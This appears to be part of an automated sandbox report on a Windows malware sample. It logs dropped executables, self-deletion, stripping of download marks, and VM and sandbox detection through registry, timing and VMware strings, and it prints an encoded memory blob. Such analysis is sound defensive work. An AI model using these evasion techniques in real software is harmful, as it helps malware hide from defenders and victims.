Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A784.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\39AF.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\151.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D3F7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4962.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\cegdrja	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\96E9.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\bwgdrja:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\cegdrja:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39AF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: bwgdrja, AppLaunch.exe, 0000001A.00000002.481892372.0000000004D9B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ASWHOOK

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\4962.exe	RDTSC instruction interceptor: First address: 000000014022773B second address: 00000001401C3B0C instructions: 0x00000000 rdtsc 0x00000002 dec esp 0x00000003 arpl dx, bp 0x00000005 jmp 00007F7C80CE7723h 0x0000000a inc ecx 0x0000000b pop ebp 0x0000000c dec ecx 0x0000000d or edi, 4743259Eh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\4962.exe	RDTSC instruction interceptor: First address: 000000014021CEEB second address: 000000014021CEF9 instructions: 0x00000000 rdtsc 0x00000002 inc ecx 0x00000003 pop edx 0x00000004 inc ecx 0x00000005 rcl bh, cl 0x00000007 rcr al, cl 0x00000009 inc ecx 0x0000000a sal cl, cl 0x0000000c inc ecx 0x0000000d pop esi 0x0000000e rdtsc

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 5888	Thread sleep count: 647 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4764	Thread sleep count: 311 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4764	Thread sleep time: -31100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3928	Thread sleep count: 237 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5096	Thread sleep count: 451 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 628	Thread sleep count: 195 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3100	Thread sleep count: 128 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5144	Thread sleep count: 126 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3108	Thread sleep count: 472 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5424	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3772	Thread sleep count: 350 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1004	Thread sleep count: 77 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4962.exe TID: 4780	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4962.exe TID: 5656	Thread sleep time: -420000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\4962.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\4962.exe

Thread delayed: delay time: 420000

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 647	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 451	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 472	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D3F7.exe

API coverage: 1.8 %

Source: C:\Users\user\AppData\Local\Temp\4962.exe

Thread delayed: delay time: 420000

Source: 4962.exe, 00000024.00000003.508577204.0000000000501000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 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
Source: explorer.exe, 00000003.00000000.312164118.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}z,
Source: D3F7.exe.3.dr	Binary or memory string: noreply@vmware.com0
Source: D3F7.exe.3.dr	Binary or memory string: http://www.vmware.com/0
Source: D3F7.exe.3.dr	Binary or memory string: VMware, Inc.1!0
Source: 4962.exe, 00000024.00000003.515038709.0000000000501000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.508577204.0000000000501000.00000004.00001000.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.523277231.0000000000501000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000002.727351343.0000000000501000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.522908686.0000000000501000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000002.566561290.00000000004A3000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.520980893.0000000000501000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: D3F7.exe.3.dr	Binary or memory string: http://www.vmware.com/0/
Source: explorer.exe, 00000003.00000000.308297719.0000000007166000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: explorer.exe, 00000003.00000000.312164118.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: D3F7.exe.3.dr	Binary or memory string: VMware, Inc.1
Source: explorer.exe, 00000003.00000000.312164118.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i,
Source: explorer.exe, 00000003.00000000.279072590.0000000009057000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&0000001 ZG
Source: explorer.exe, 00000003.00000000.302967549.0000000005063000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9'
Source: explorer.exe, 00000003.00000000.312164118.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}.exe,-4000
Source: explorer.exe, 00000003.00000000.279072590.0000000009057000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: 4962.exe, 00000024.00000003.508577204.0000000000501000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 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